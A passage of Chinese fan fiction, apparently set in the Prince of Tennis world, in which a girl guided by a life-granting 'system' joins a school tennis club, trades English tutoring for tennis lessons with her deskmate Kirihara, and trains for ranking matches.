因着高野的话,再加上相貌加成的第一印象,山本没说什么就接纳了夕浔。
池田起初还试图维持在后辈面前的社交优雅假面,却被山本说得几句话就破功。
“走走走,今天打赢池田奖金可不少,我请客。”
“你闭嘴。”池田表情裂开,眼神里全是与财富失之交臂的痛心疾首,咬牙切齿道,“不要在我面前炫耀!”
“请你吃顿好的,今晚给你一个光明正大宰我的机会。”
“这可是你说的。”
“童叟无欺……”
个鬼啊。
山本里奈对着面前看上去就昂贵的餐厅瞳孔地震,暗自凑近池田小声叨叨:“我就是同你客套下,你是真奔着吃穷我的目的去哇……”
“那可不,”池田雅冷笑着推了推眼镜,还是解释道,“在学妹面前你就别太抠了。”
“好吧好吧。”
山本认命,扭头就挂上笑容同高野和夕浔道:“走走走,我请你们吃大餐。”
高野:“……”
夕浔:“……”
其实刚刚的小声密语她们都听见了,真的。
等餐的时候,几人又交流起了抢七局两人打出的发光球。
虽然原本是陌生人,但有网球的共同追求,夕浔还是凭借着系统培训后的知识储备快速打入其中。
山本和池田对她能够一眼说出光球的原理感到惊讶。
“雾岛有两把刷子嘛。”山本笑道,“我当时还是先打出球,才从教练那里听懂原理的。”
夕浔趁机问了方才困扰她的问题。
“最后一局的状态?”山本里奈挑高眉,旋即恍然,“噢,是心流啦。”
“类似于打网球进入全神贯注、沉浸其中并且能够高效发挥最佳能力的精神状态,在那个状态下,你会忘记疲惫,屏蔽对外界除了网球以外的感知,脑子里只剩下要把球打回去这个念头。”
山本不太熟练地用刀叉切割着侍者新端上来的牛排,边回忆道:
“心流最迷人的地方,就在于它既是高度专注的‘忘我’,也是极度清醒的‘超我’,人与网球合一的时候就进入了‘无我之境’。”
她咬下一大口牛排,囫囵咀嚼咽下后道:“这种状态不能强求,如果非要形容的话,在忘记身体的瞬间,应该就能够出现了。”
夕浔受教点头,脑子里反复琢磨着观赛时看到的画面。
池田暗中朝夕浔投去若有似无的注视,没好意思说自己对眼前这个好看的女生颇有好感,这会听到山本说完,就随口找了个话题接下去:“雾岛,你打网球多久了?”
高野凉正嚼着食物,顿时也有点好奇。
说来也奇怪,虽然理论很有一套,但雾岛身形实在瘦弱得不像话,肤色也是不同于常年打网球选手的白皙,莫非是天生丽质,怎么晒都……
山本里奈尚沉迷干饭无法自拔。
夕浔罕见地沉默了下,在脑海中问道:【我不说实话会怎样?】
系统:【……其他时候无所谓,但这次系统建议宿主实话实说。】
相信系统不会无的放矢,夕浔决定听从它的建议,考虑到网球很看重球龄,她甚至还四舍五入了一下:
“两个月。”
“啪嗒。”
山本里奈的牛排掉落回了盘子里,猛然抬头。
池田雅眼镜微微滑落,她诧异朝夕浔看去。
高野凉被猝然噎了下,紧接而来的几声咳嗽打破了几人间诡异的沉默。
“咳咳咳!”
“看来雾岛天赋不错,也很擅长理论分析。”给高野凉递去张纸,池田托了下镜框,说出口的声音平静,脑子里却开始出神。
她学球两个月的时候在干什么?
噢,捡球。
最高球速90km/h,对抗不流畅,处于一个脑子里知道正确动作但身体不听使唤的状态。
网球知识储备大概就是知其然不知其所以然的水平吧。
那雾岛学球两个月在干什么?
她会上旋二发。
这不仅需要抛球精度,还通常需要三千次以上的重复练习培养手腕内旋的肌肉记忆……
她甚至还能在短短几分钟内就解释出她们的击球原理。
这是学球两个月能有的水平?
心中想法乱七八糟,池田下意识望向坐在窗边的少女。
她实在生得很好看。
没有人能够在见到她的第一眼,对她产生恶意。
但当她用那么沉静的口吻说出两个月的时候,池田一边荒谬地想“这不可能”,一边又觉得“她没必要在这种事情上撒谎”。
“哇哦……”高野凉终于回过神,震撼道,“雾岛你深藏不露嘛。”
夕浔雾蓝色的眸子里浮现抹无奈之色:“我没有实战经验,只是理论知识丰富点。”
虽然暂时不明白为何系统让她实话实说,但她的成长速度确实不能直接和别人比,她可是有系统开挂式的训练在帮她快速提升的。
“那也相当不得了了!”山本里奈神采飞扬鼓励她,语气如同高僧对路过的少年说‘我看你骨骼清奇’,“少女,你相当有天赋,我很看好你,说不准有一天你
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就出现在u17了呢。”
“不过在那之前,要不要考虑来立海网球部?”
她指了指高野凉:“国中女网部现任部长——”
又指了指自己,笑眯眯道:“女网部上上任部长,两任部长诚邀你入部,够不够排面?”
那可太够排面了。
半个月后,当夕浔站在一众女子网球部成员面前,看着众人因为高野凉的介绍而对她投来或好奇或怪异的目光,内心难得想,倒也不必如此。
好奇或者觉得奇怪都很正常,毕竟大部分人在国一就已经选定了社团,而像她这样国二才加入,一来就跳过了社团新生都要经历的捡球阶段的,实在是异类。
正常入学的国一新生现在还没到社团招新周,而国二刚开学就申请加入女网部的只有她,就显得高野凉的单独介绍分外突出。
但由于高野在部内的影响力,暂时也没有人提出异议。
立海大附中女网部的名声和成绩并没有男网部那么显赫,曾得过全国国中联赛亚军,也曾经在关东大赛就折戟。
相比较于男网部稳定蝉联十五届的关东大赛冠军而言,女网部常年在战力强大和青黄不接两个极端来回徘徊。
高野凉介绍完夕浔,又向众人介绍了这学期新来的长谷川教练。
今年四十岁的长谷川明美刚刚从神奈川县队教练的职务退下来,早年打球的伤病在县队期间因为高强度的工作无法得到很好的恢复,再加上地方教练平均每三到五年就调动一次,逐渐上了年纪的长谷川愈发力不从心,正寻思退伍之际就接到了立海大附中递来的橄榄枝。
立海大附中在神奈川地区是网球强校,虽然女子网球部战绩忽高忽低,但有过战绩也好过全无名声,他们看中长谷川培养选手输送至国家队的能力,长谷川看重私立附属学校开出的薪资不低,二者一拍即合。
“总之,接下来的时间,就由我担任大家的教练。”长谷川毫不掩饰自己来立海的动机,但她的真诚坦荡和实力反而赢得了大家的一致尊重。
新学年开始的介绍结束后,长谷川叫走了高野凉商榷训练事宜,夕浔则由副部长带着熟悉社团环境。
副部长井上爱是同高野凉风格迥异的小个子女生,但在打球的时候风格却分外犀利。
参观完社团后,为了测试夕浔的水平,她还同夕浔对练了一局。
“打得不错,球龄有一年了吧。”下了场,井上爱随手拨弄着拍线,询问夕浔。
只打了五球,她也大致瞧出了雾岛的水平,虽然是毫不意外的胜利,但雾岛放短球拿下的那分,还是让她颇觉意外。
前几球只是她对雾岛的实力碾压,雾岛许是意识到了,但是速度还没有快到能够接到她的斜线穿越球,只有倒数第二球,应该是熟悉了她前几球体现出来的变化路径,在几次对拉后,反而提前出现在预判落点位置,出乎意料地放了短球。
这种信息收集速度,倒让她想到男网部的柳君。
井上爱若有所思瞧着夕浔出神,抛开雾岛颜值带给社团招新的加成,球龄一年,就有这种分析能力的话,也难怪高野会特意介绍。
“两个月。”
第二次回答这个问题,夕浔心想,这次是不用四舍五入的两个月了。
咦?
井上爱有刹那疑心自己听错了,但当她愣了半拍反应过来后,眼睛瞬间就亮了,嘴角在她都没意识到的时候,已经绽放出了无比灿烂的笑容。
“哎呀,我们立海女网部就需要你这样的人才!”
12.同桌
“什么人才?”有人恰好在此时听到了井上爱的夸赞,好奇凑上来。
但她上来却先驻足欣赏了夕浔半晌,嘴里还情不自禁嘟囔道:“就颜值来说的话,我觉得雾岛学妹应该不止是人才的地步吧……”
“绘酱,别闹。”方才还神采熠熠的井上爱看到来人,眸中都染上了无奈,刚想说些什么,扭头又看到另外一人走来。
“网球的人才吗?”同被称为“绘酱”的女生长着同样的脸庞,表情却平静如死水的青发女生无声出现,瞳孔微微转了下,直直凝向夕浔,认真发出邀请,“要不要来和我打一场。”
井上爱彻底认栽,叹声道:“理酱,排位赛还有半个月,不要欺负球龄才两个月的学妹,而且你是打双打的……”
不要总是对于单挑这么蠢蠢欲动啊。
给她留点时间去和绘酱一起训练啊。
森理听到夕浔才学网球两个月,顿时失望收回了视线:“噢。”
才学两个月能学出什么名堂,她对欺负新人不感兴趣。
森绘此时却回过了神,率先上前同夕浔介绍道:“我是森绘,这是我的双胞胎妹妹森理,雾岛你有什么不适应的可以来找我。”
夕浔将两人的反应尽收眼底,心下对她们的性格有了判断,温声道:“那就请前辈多多指教了。”
才正经了不到十秒的森绘两眼又开始冒起了小星星:“呜呼~礼貌打招呼的雾岛学妹也……”好好看。
好可爱,好漂亮,好想抱着rua……
她还没说完,就被额间青筋暴跳的井上爱捂嘴按了回去。
“让你见笑了,雾岛。”井上爱从嘴里挤出个笑来,已经完全没了方才的淡定模样,“这是队里的王牌双打,就是性格比较跳脱一些。”
雾岛这水平当正选虽然还差点,但在二年级里已经是相当不错的水平了,假以时日肯定能成为正选,还是要尽量在她面前给两人留点颜面。
夕浔轻轻笑了下:“没有关系,前辈们都很有活力。”
进入网球部,她好像忽然有点明白,为什么人们总说生命在于运动了。
女网部的晨间训练时间是四十五分钟,先前的介绍和同井上爱参观社团花了些时间,结束后她只来得及同其他人一起跑步热身、做了3组单臂球抛接练习就回教室了。
找到已经有印象的座位,坐下没多久,就有人火急火燎踩着早读的铃声在旁边坐下。
桌椅颤动的动静不小,但前后座习以为常到头都没带抬一下。
“呼……可算是赶上了。”切原赤也急得大喘气,还不忘手忙脚乱在抽屉里找书,海藻般凌乱的卷毛埋首于桌洞前不可自拔。
等到英语科代表已经带读了一分钟时,切原才终于从书堆中翻找出英语书。
周围的朗朗书声熏得他茫然,本就陌生的英语词汇连成句子后更是让他如听天书。
他假模假样地先翻开课本,眼角余光还不忘偷瞄眼同桌的课本。
那人像是提前预料他要干什么似的,已经默默将课本朝他的方向挪了挪,白皙指尖不经意落在书本右下角的页码处,分外显眼。
切原却没察觉到对方的好意,还在为自己的发现沾沾自喜,连忙将课本翻到21页。
一旁的夕浔目不斜视注视着课本,口中朗诵着课文,脑海中还分神和系统吐槽:【……切原真的是立海王牌吗?】
重点是,打败这家伙真的能加三十天寿命吗?
虽然她不喜欢以貌取人,但这冒失的家伙开学第一天就不小心撞倒了她的笔盒,第三天合作做实验就操作失误导致灯泡烧掉,第五天就喜提英语当堂小测0分战绩……
怎么看,都半点没有王牌的样子吧。
系统运行程序转了转,才冷不丁冒出来句:【首先,立海王牌是切原赤也个人自封的。】
顿了顿,系统继续道:
【其次,别看他这样,宿主目前可不是他的对手喔。】
夕浔:【……】
很好。
打不过,先放弃,积蓄实力。
总有一天她要打败他,拿下三十天阳寿。
随着理论知识和网球训练的稳步推进,系统每天雷打不动地让她获得一天寿命又扣除。剩余寿命三天的红字倒计时在系统界面上已经挂了两个月,夕浔合理怀疑这是系统为了刺激她的训练热情而特意设计的。
以至于她听到系统和她说打败切原可以获得足足三十天寿命的时候,可耻地心动了。
那可是一个月啊。
夕浔眼热。
有了这寿命,她就不用过着这样提心吊胆、生怕几天不做任务就挂掉的生活了。
系统:【宿主且放心,系统都是根据宿主的实力水平确定当前挑战对象的。宿主的第一个挑战对象就在女网部。半个月后的排位赛上,宿主就有机会打败对方。】
闻言,夕浔来了兴趣:【那挑战对象是?】
系统机械电子音响起:【森理。】
夕浔:【……】
两个半月对人家四年球龄,连个缓冲都不带有的,开玩笑能这么开吗?
系统:【击败优秀的对手能够让自己的实力水平快速提升,与此同时,融入竞技体育社团的最佳方式就是击败强大的对手,实力才是硬道理,请宿主继续加油,早日击败对方。】
道理虽然是这么个道理,但夕浔想到晨训时森理同森绘对打时的水平,还是深感压力,眉头也微微拧起,下意识思考起来。
她还没见识过森理与森绘的双打,但从单打时的风格来看,森理属于防守反击型选手,击球稳定,耐力良好,步法精准,平衡能力出色,数次准确的穿透力和挑高球总是精准地打断森绘的节奏,总像猎人般富有耐心等待对手出错,牛皮糖般的打法让人牙痒。
球路既高又深,擅长消磨对手的意志。
这是夕浔对森理做出的第一评价。
就是不知道女网部有没有克制森理球风的人?
夕浔眉宇缓缓舒展开来,觉得可以之后继续观察观察。
不过好在从系统这里套到了挑战对象的身份,也能提前做些准备。
长相出众到令人瞩目的少女神色淡淡,雾蓝色的眸波光流转间就让人不自觉心软,就连被老师叫起的时候也没有丝毫紧张。
晨间和煦的日光穿过教室敞开的窗,洒落在她肩头,更为她亮银色的长发镀了层浅淡的金光,空气中翻涌的烫金尘埃都不禁在她周围停留刹那。
众人穿着只觉寻常的校服在她身上都显得格外有气质,百褶裙下摆随着她起身的动作,在空中漾开细微的弧度。
“Having been learning English for many years,I have a goodmand of……”
流利的英文从她口中吐出,顺畅丝滑到不可思议,虽然句子不难,但这口音却清晰得让英语老师连连点头。
英语老师颇为满意地又让她坐下,还若有似无瞅了眼切原赤也,眼神满是恨铁不成钢。
和英语这么好的雾岛做同桌,切原怎么就没能学到点什么呢。
切原显然没有察觉到英语老师的眼神官司,满脑子都在和英文单词打架,直到身旁的同桌站起来他才回过神。
看到夕浔拿着
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课文后面的例句诵读,那对他来说像外星语的英文在她口中自然而然倾泻而出,切原赤也忍不住瞪大了双眼。
不是说同桌雾岛休学了一年,是跳读上的二年级吗?
怎么她英语还这么好,半点都不像是学业不继的模样。
这么想着,切原目光悄悄落到她满分的小测试卷上,翡翠绿的瞳孔微妙地划过丝羡慕和渴切。
他要是有这个分数,应该就不用被副部长和柳生前辈他们拎去补课了吧。
夕浔察觉到切原赤也的目光,转头正好撞见他没来得及收回的视线,那眼神中对成绩满满的憧憬让她不禁笑了下,但她仍装作不知情:“这句子还挺简单的。”
切原赤也瞳孔骤缩:“!!!”
可恶,故意的吧,雾岛绝对是故意的吧!
好气。
好恶劣的同桌。
切原忿忿扭回头,打算不再看夕浔。
就在这时,夕浔不经意呢喃了句:“听说如果有挂科成绩的话,学校可能会禁止参加社团比赛,也不知道是不是真的。”
是真的。
对此深有体会的切原赤也差点就要点头回应她了,才猛地反应过来不对。
雾岛科科是学霸,她考虑这个干嘛,她分明是针对他啊!
切原含恨咬牙,但还是抵不过她上次借他抄作业的恩情,闷声回应:“是真的。”
听到这话,夕浔唇角微微向上:“好,谢谢你,我会注意的。”
系统:【……】
要注意的是宿主还是切原,宿主心里没数吗?
宿主这是打不过切原赤也,就开始对他施加精神攻击了吗?可怕。
艰难熬过一节英语课,切原赤也终于重新恢复了活力,很快又把同桌的捉弄抛到了脑后。
雾岛上次还借他作业抄,她能有什么坏心思呢,肯定是因为休学才对学校的各种规章制度不是很了解。
看在她也是打网球的,他只是好心不想让她重蹈覆辙罢了。
切原赤也为自己的举措找到合理理由,但又开始发愁起来。
国一的英语还能啃一啃小学那不知道有没有的老本,但国二的英语又是很多新知识,陌生的单词陌生的语法弄得他头晕眼花,他到时候可别真的因为挂科无法参赛啊。
那会被副部长铁拳制裁的吧。
切原想到那个画面,连忙摇摇头把想法踢出去。
下课的时候D组外面往来的同学逐渐多了起来,正当夕浔还在整理着这节课的笔记之时,切原忽然小声喊她。
“同桌,你半个月后要参加女网部的排位赛对吧?”
夕浔转过头,那拢了薄雾的视线随之落在他身上。
她轻轻颔首。
切原赤也眼睛蓦然亮起来,差点要为自己脑海中想到的绝妙主意鼓掌。
“这样,我教你打网球,你帮我补习英语怎么样?”
同桌切原早就说过他是底线攻击型选手,可巧,正正好是防守反击型的克星。
夕浔倏忽笑了起来,在阳光下,那张本就精致的面容愈发生动、鲜活。
切原一直知道自己的同桌长相出众,但向来不关注这个的他在此之前并不觉得这有什么。
直到此时,难得被笑容晃了晃眼的他有片刻出神,突然就理解了为什么这学期教室外面多出不少陌生男生的面孔。
下一秒,没等他回过神,便听见她吐字清晰道:
“好啊。”
清润的声线和着淡淡的松脂香扑面而来,如冬日的暖阳融化枝头的积雪。
明朗、轻快。
顺其自然,又仿佛蓄谋已久。
13.交易
立海男子网球部的副部长真田弦一郎与军师柳莲二最近遇到了一件困扰的事情。
继幸村生病住院、学校派来新教练后,他们即将迎来新学期首次月考,而已经成为网球队正选的切原赤也则面临着挂科就不能参赛的命运。
不管是出于让新生代多多历练的想法,还是想要满足切原参赛的愿望,如果切原不能出场,对他们都是件苦恼的事。
虽然过往他们也帮赤也补课,但每次都收效甚微,也就堪堪把他挂在及格线边缘,上了国二后英语难度加大,也不知道还能不能顺利。
柳莲二合上笔记本,正思考着这次更换谁帮赤也补课的时候,活动室里也陆陆续续来齐了人。
大家纷纷掏出便当盒,打算等切原到来时一起开动,就听到活动室大门被“砰”的推开。
“前辈们,我找到帮我补习英语的人了!”
逆着光,斗志昂扬的切原赤也顶着海藻般的卷毛,对着活动室里的前辈们激情开嗓,绿瞳中满满的雀跃。
“……”
迎接他的先是沉默。
丸井文太松弛吹着的泡泡“啪”的破了,被这突如其来的动静吓得不轻。
胡狼桑原紧急伸手扶了下差点向后仰倒的丸井,才没让自己的搭档磕到柜子。
柳生比吕士停住将餐具取出的动作,不动声色推了推鼻梁上的眼镜。
仁王雅治眼疾手快捞起自己刚放到桌子上的便当,还不忘向切原递去个“你自求多福”的眼神。
柳莲二微微转了转视线,平静无澜的目光落在真田身上,默默退了半步。
下一秒,只见面色沉得能拧出水来的真田用力拍下桌子,连空气中的粉尘都被这巨响震得纷飞起来。
“太松懈了!”
“在活动室大呼小叫,成何体统!”
切原赤也这才注意到这诡异的沉默不对劲,但为时已晚,他趔趄着后退了两步,扶着门框刚想溜号,就被快步赶上前的愤怒真田拎住了衣领。
一番铁拳制裁与鸡飞狗跳后,切原终于磕磕绊绊道明了原委。
“噗……你是说,因为你同桌英语很好,你网球不错,所以你们达成了互惠互利的交易?”丸井嚼着口香糖,打趣切原。
“是互相帮助啦。”切原一本正经反驳,又切换到小声嘟囔,“怎么就到交易的地步了。”
丸井笑着改口:“好,互相帮助。”
“不过我有个问题,切原的英语那么……额,一言难尽,换个补课对象就能抢救过来吗?”丸井文太紫瞳中闪过好奇,抬头望向柳。
柳配合地从口袋中拿出另外一本笔记本,精准翻到某页,报数据:
“雾岛夕浔,立海大附中2年D组,国小毕业后曾休学一年,跳读上国二,开学以来因为惊人的颜值颇受关注,各学科水平据跳读时测试成绩分析为优异,现为赤也同桌,同时是女子网球部成员。”
丸井文太没顾上后面的详细信息,单从柳说出名字的那瞬间,他就忍不住转头看向了切原。
欸,是那个雾岛夕浔吗?
就是那个他在超市遇到的漂亮女生吗?
可恶,他本来还不知道对方在哪个学校,没想到知道的时候就喜提对方是国二学妹而且还是赤也同桌的消息。
赤也何德何能啊!
丸井齿颊发力,将痛心通通发泄在无辜的口香糖上,还不忘幽怨望着切原。
柳生在听到雾岛夕浔是女网部成员时,镜片后的眼睛划过道微光,唇瓣动了动,似想说些什么,却很快被他克制收回。
目光聚焦在切原身上的众人也没有发现他的异样。
仁王雅治左手支着下颌盯着切原,生生把切原看得不自在扭头。
奇怪,赤也这小子真有这么幸运吗?
缺个补课对象的时候同桌正好出现,恰好对方还需要提升网球技术,二者一拍即合,怎么巧合到他觉得有些不对劲呢?
碧色瞳孔中闪过思索之色,仁王惬意眯起了眼,佯装淡定试探道:“你说,这主意是你提出来的?”
“是啊,”毫无所觉的切原点头,“恰好同桌提到了挂科无法参赛,我就想到了。”
果然。
仁王笑了。
但他没有提醒切原,只是将支撑的手换了只,唇角勾起,漫不经心道:“挺好。”
被骗了还得意洋洋的傻孩子,得亏对方没有什么坏心思,不让他们可上哪去捞这只海带。
不过——
仁王懒洋洋倚在座位上,指尖随手拨弄着发上的银色小辫。
阳谋吗?有点意思。
聪明人显然不止仁王,但此时没有人出声,只有柳莲二沉稳地对着笔记本再次说道:“从雾岛目前展现出来的英语水平来看,辅导切原考试合格的概率高达百分之八十。考虑到做题与教学不同,具体情况可能存在一定偏差。”
“puri~”仁王雅治眉骨微挑,“这概率不低嘛……还真让赤也撞上了。”
“为什么我就没有这样的同桌啊……”丸井压了压切原的头发,手感太好以至于他忍不住多揉了几下,“可便宜你小子了。”
“文太,那是因为你没有挂科的风险啊。”桑原无奈提醒。
“对喔~”丸井文太脸色顿时红润起来,眼神自得,“本天才科科都是高空飘过哈哈。”
被压头揉发又被精神攻击的切原:……
前辈,不带这么玩的!
面对众人的讨论,真田没有急于出声,只是将询问的目光递向了柳莲二。
柳朝他轻轻颔首,合上本子,温声做了总结:“总而言之,这交易不亏,值得尝试。”
试试就逝世。
夕浔看着在场上打得忘我的切原,内心无声叹了口气。
虽然切原打球是相当明显的底线攻击型选手,但从教学的角度来看,他显然不是个能够很好将自己想法传递给学员的教练。
这就是直觉系的可怕吗?
虽然未必懂得原理,但仅凭球感和直觉,也能摸索出最适合自己的打法,精准回击来球。
但也或许——
夕浔将目光又移到球场外面的男生身上。
那人身形不算瘦削但也不算壮硕,臂弯上搭着正选外套,褐色短发,总是半阖的眸无声注视着切原的身影,男子网球部土黄色的队服在他身上却衬得他身姿颀长,清雅如玉。
是因为前辈的保驾护航吗?
夕浔睫羽翕动了两下,还是敛眸不再想这个问题,走上前去,近距离观察切原的打法。
正在向他投球的是发球机。
好在她提前设定好了参数,借用从柳前辈那里获得的数据,调整了最适合切原的频率,也能更好地观摩切原赤也的击球。
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切原的网球风格相当明显,持续强大的主动输出往往先发制人,一旦在前期建立起较明显的优势,极大压缩磨教流建立节奏的时间,便能够在自己所选择的时机结束分数。
通俗点讲,就是一力降十会,不按套路来。
好球!
夕浔眼睛骤然亮起,又凑近了些,这球速度很快,而切原在跑动的过程中,居然还能打出角度如此刁钻的穿越球,紧接着又是一个又深又重的击球!
假如她是防守反击型选手……
夕浔不自觉将自己代入森理的角色。
这球太深,回击时间很短,不过救球是我的强项,所以快速移动反击。但球的力量有些超出想象,挥拍击球的那瞬直面冲击太难发力,一个质量不高的回球,恰好给对手制造了机会球……
夕浔推演着结果,望向切原的目光愈发认真、灼热。
就得是这样的大角度调动球!
这个强力击球带给对手的心理压力……
虽然她的击球暂时达不到切原这样的力量,但只要想办法让对方的回球质量变低,便能在第二球用大角度调动迫使对方来不及救球。
思索之际,柳莲二不知何时已经走到了她身边,出声道:“雾岛,你排位赛的对手已经确定了吗?”
夕浔循声转头,对上柳没有波动的声线,心下微讶。
察觉到了吗?
但她很快摇头,清越的嗓音礼貌谦逊,口吻亦无懈可击:“还没有,谢谢柳前辈关心。”
这就是男网部的军师吗?真是名不虚传。
只是就算察觉到了也没有关系,她的目的依然能够实现。
面容姣好的女生摇头,神色无法窥出端倪,甚至连语气都带着后辈对前辈的恭敬,就仿佛提出挂科无法参赛与答应赤也的提议完全只是临时起意、未雨绸缪。
是这样吗?
从数据来看,柳莲二不相信这个猜测,但他没有探究下去,转而看向场上,歉意道:“抱歉,赤也还不是个很合格的老师。”
从某种程度上来说,雾岛这笔交易也许是吃亏的。
夕浔诧异抬眸,此刻她承认自己真的有点羡慕切原了。
柳莲二似是注意到她的视线,转过头的时候却只对上她的笑,那双雾霭蓝的眸子沁着清清浅浅的戏谑,同方才的礼貌截然不同。
“我不这么想。”
那笑太浅,转瞬即逝。
只是周围的环境都在顷刻间沦为了陪衬。
柳莲二忽而想,雾岛能够获得这么多关注实在是有理由的。
“都说强者不会挑剔环境,虽然与所想的不同,但其实我也从切原那里收获了很多,这互帮互助我倒认为很值得……”
而且,这笔交易真的亏吗?不见得。
夕浔正对上他的视线,神色重新认真起来,仿佛刚才的戏谑只是错觉。
银发间挑染般蓝的几缕发丝随着她的动作在阳光中折射出熠熠光泽,在微不可察的停顿后夕浔继续问道:
“柳前辈觉得呢?”
那声音似乎也浸了模糊的笑意。
柳莲二有片刻晃眼,分明她在喊着前辈,他却只觉得那抹蓝在银发中突出得很。
叛逆,不屈……
是什么?
柳莲二回答不上来,但他想——
他给不出否定的答案。
14.训练
约定周末给切原补习后,夕浔按部就班开始了自己的女网部训练之旅。
虽然她不清楚以前没有教练的网球部是怎么样的,但新来的长谷川教练不愧是专业出身,在安排训练计划上还是相当有一手。
针对正选的各种训练姑且不论,哪怕是对非正选的部员,也都根据大致不同的水平区间安排了专门的计划。
先是围绕网球场地对角线变速跑,持球拍绕8字挥拍模拟正反手轨迹,再通过反应式脚步训练和交叉步、分腿垫步组合培养移动速度,通过冲刺-慢走间歇模式和底线-网前折返接截击动作在模拟实战的同时培养耐力。
最后是弹力带抗阻挥拍重点强化肩臂部位稳定性,以及每日必不可少的双人对练。
普通部员部活结束后,球场上已经倒了一大片人,哀嚎遍野。
“教练不做人啊……”
“这比之前的训练量辛苦太多呜呜……”
“还没回家都肌肉酸痛了,回家又该被母上数落了。”
负责监督的高野凉摘下墨镜,挨个上前查看有没有动作不当导致受伤的部员,待发现所有人只是嘴上喊得嗨实际没什么事情后,又凉飕飕笑道:
“换个角度想嘛,痛苦就说明你们在成长啊。”
众人见她站着说话不腰疼,忍不住了。
“滚呐!”
夕浔自然也在躺倒之列,但等恢复体力后,却没忘借着网球部的场地,将系统额外增加的部分训练完成。
寻常部员的训练量比正选要少,等夕浔完成日常训练后,大部分人都已经回家,只剩下几个还在训练的正选。
背上网球包,夕浔慢悠悠走到森理所在的球场,继续旁观比赛。
“雾岛,你怎么还在这里看理酱的训练?”带着崭新训练计划路过的井上爱看夕浔没回家,好奇问了句。
夕浔不好解释自己想要提前窥探对手的情况,温和道:“我对森前辈的球风比较感兴趣。”
井上爱不疑有他,顺口道:“对了,下周就是社团招新周,到时候一起去招新摊位上帮忙吧。”
闻言,夕浔目光微妙了一瞬。
被她视线瞧得仿佛窥探出了内心想法,井上爱有片刻心虚,到底没像高野那样厚脸皮,只好向她解释原因:“社团招到的新成员越多,到时候能够申请下来的经费也更多。”
毕竟不比年年拿奖的男子网球部,女子网球部去年遗憾止步关东大赛,这次学校又刚刚花了大价钱聘请来长谷川教练,如果没有正当理由的话,今年审批下来的经费很有可能会变少。
这才想借助雾岛帮忙多骗,啊不,多招揽几个社员。
别管是因为什么原因进来的,只要进来了,那不就能够培养对网球的热爱嘛。
夕浔沉吟数秒,才说道:“可以,但我希望井上学姐帮我个忙。”
“什么忙?”未说出口的帮忙很可能是陷阱,井上爱保持警惕,不敢一口应下。
闻言,夕浔露出了人畜无害的笑容:“很简单的。”
“到底哪里简单了!”
夕阳西下,空荡的球场里,配合夕浔练习了几天的井上爱不满控诉。
说完,她力竭得膝盖一软,干脆顺势弯腰捡起地上的网球,豆大汗珠擦着她下颌滚落,声音愈发有气无力:“练绝招什么的,怎么看都不简单吧。”
躺倒在球网对面的夕浔大喘气,扯开唇角:“虽然这么说,但我看学姐明明就打得很开心。”
后背衣服已经完全被汗水浸透了,贴在皮肤上又凉又黏,小腿很酸,脚底传来运动过量后的刺痛感,从肩膀到手臂的肌肉都处于麻痹状态,几乎抬不起来,腰腹、身体各处都很难受,但是大脑却异常活跃。
这就是运动的感觉吗。
夕浔望天,思维开始发散。
“……”井上爱叹口气,勉为其难承认,“你比上次进步了。”
按理来说,后辈进步神速应该是好事,但才学习两个月就已经开始开发自己的绝招什么的,如果不是亲眼所见,听起来还是太扯了。
“不过,你还得多练习练习那招,不然风险太大。”井上爱抬手将网球抛回框里,放球拍的时候不忘提醒夕浔,“现在的球速还是有点慢。”
压着边线击出的球,先借助对手上旋的前冲力,再通过向前平推发力赋予球贴地而行的力量,如果控制不好落点就很容易出界,同时还要关注速度避免被对手提前回击。
刚刚的最后一球还是有弹起弧度,如果不是因为她体力不支差点倒下,未必不能抢救成功;又或者她站位再靠近些,也能够来得及提前拦截。
如果被对手摸清了套路,难保不会被网前截击。
总的来说,虽然磕磕绊绊打出来了,但还有很多进步的空间。
“也算是恭喜你终于打出来,我请你吃拉面吧。”好歹也比后辈多打了几年球,很快又重新恢复精力的井上爱伸手拽了夕浔一把,脸上扬起灿烂的笑容,“我知道有家店超好吃的。”
好不容易站起身的夕浔只觉双腿直打颤,险些又跌坐下去,她猛然吸了口凉气,才借着井上爱的力站稳。
几次深呼吸后,她拍拍运动裙上沾染的尘土,弯起了眉眼:“那我可不同学姐客气。”
铜系统不愧是铜系统,就比烂铁好了点。
挑战对象的详细页面还要她击败首个挑战对象才可以开启,连个陪练功能都没有,单个动作的熟练度到了百分之九十后很难提升,系统也不会给出建议,只让她自行实践探索。
要是有评价功能,她要打差评。
系统忍了又忍,还是无法忍受面前这个同前辈有说有笑的宿主,正在脑海中对自己进行的的吐槽,出声道:
【宿主,容我提醒下,是你主动选择本系统的。】
早有预料般,夕浔无辜的笑音在脑海中响起:【是的,所以你放心,我不会真的给你打差评的。】
系统卡壳一瞬。
不对,它本来也没有评价功能啊。
【同你开玩笑的。】夕浔声音软下来,语气
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沮丧,【我只是面对现在很久没有改变过的三天生命有点难过,觉得自己进步太慢了。】
系统道:【根据大数据分析,宿主的成长速度并不慢,请宿主对自己更有信心。】
见系统语气变化,夕浔图穷匕见,含笑缓声道:【所以在即将挑战首个对象前,我想询问这个积分和挑战之间的关系,也好更多做些准备。】
系统:【……】
系统沉默了三秒,还是道:【涉及程序运行问题,请宿主自行探索。】
夕浔摇头:【……啧。】
没有套话成功,夕浔也不气馁,反正之后也有机会实践。
“雾岛,他们的招牌豚骨拉面一定要试试!”
井上爱抬手拨开面店门口的暖帘,边向夕浔安利还不忘轻车熟路同老板打招呼:“老板,两份豚骨拉面,一份少葱花一份正常!”
“好嘞!”
刚进门,室内浓郁面汤的香气便扑面而来,将两人周身的疲惫都卸去许多。
夕浔同井上爱找了位置坐下,不多时,两碗热气腾腾的拉面就被端了上来。
乳白色的浓汤颜色纯净,满口咽下的时候醇香顺滑,还带着豚骨充分炖煮后的胶质感,鲜得夕浔眸子都亮了几分。
好喝。
“为了这口汤……心满意足了。”井上爱咕噜噜喝下几口面汤后,又毫不犹豫拿起筷子开始大快朵颐。
夕浔还在咀嚼品味面条硬挺弹牙口感的时候,便见到对面的井上爱已经迅速干掉拉面,挥手示意老板再来一碗了。
对比下自己还有大半面条的碗和井上爱空空如也的碗,夕浔不禁瞪圆了眼。
“前辈,你真是深藏不露啊。”
这句夸赞夕浔完全是真心实意,不掺半点水分。
球场上风格犀利也就算了,就连这个干饭速度她都望尘莫及。
“人生在世,不过是吃喝玩乐,啊不……还要再加上一个网球。”
井上爱从新端上来的散发着蒸腾白雾的面碗中抬起头,嘴角弧度不断扩大:
“爱好使我们眷恋尘世,运动使我们追逐强大,因为这点爱好,我每天都很热爱生命。”
听到这话,夕浔夹着筷子的手指微顿,下意识抬头望向对面的井上爱。
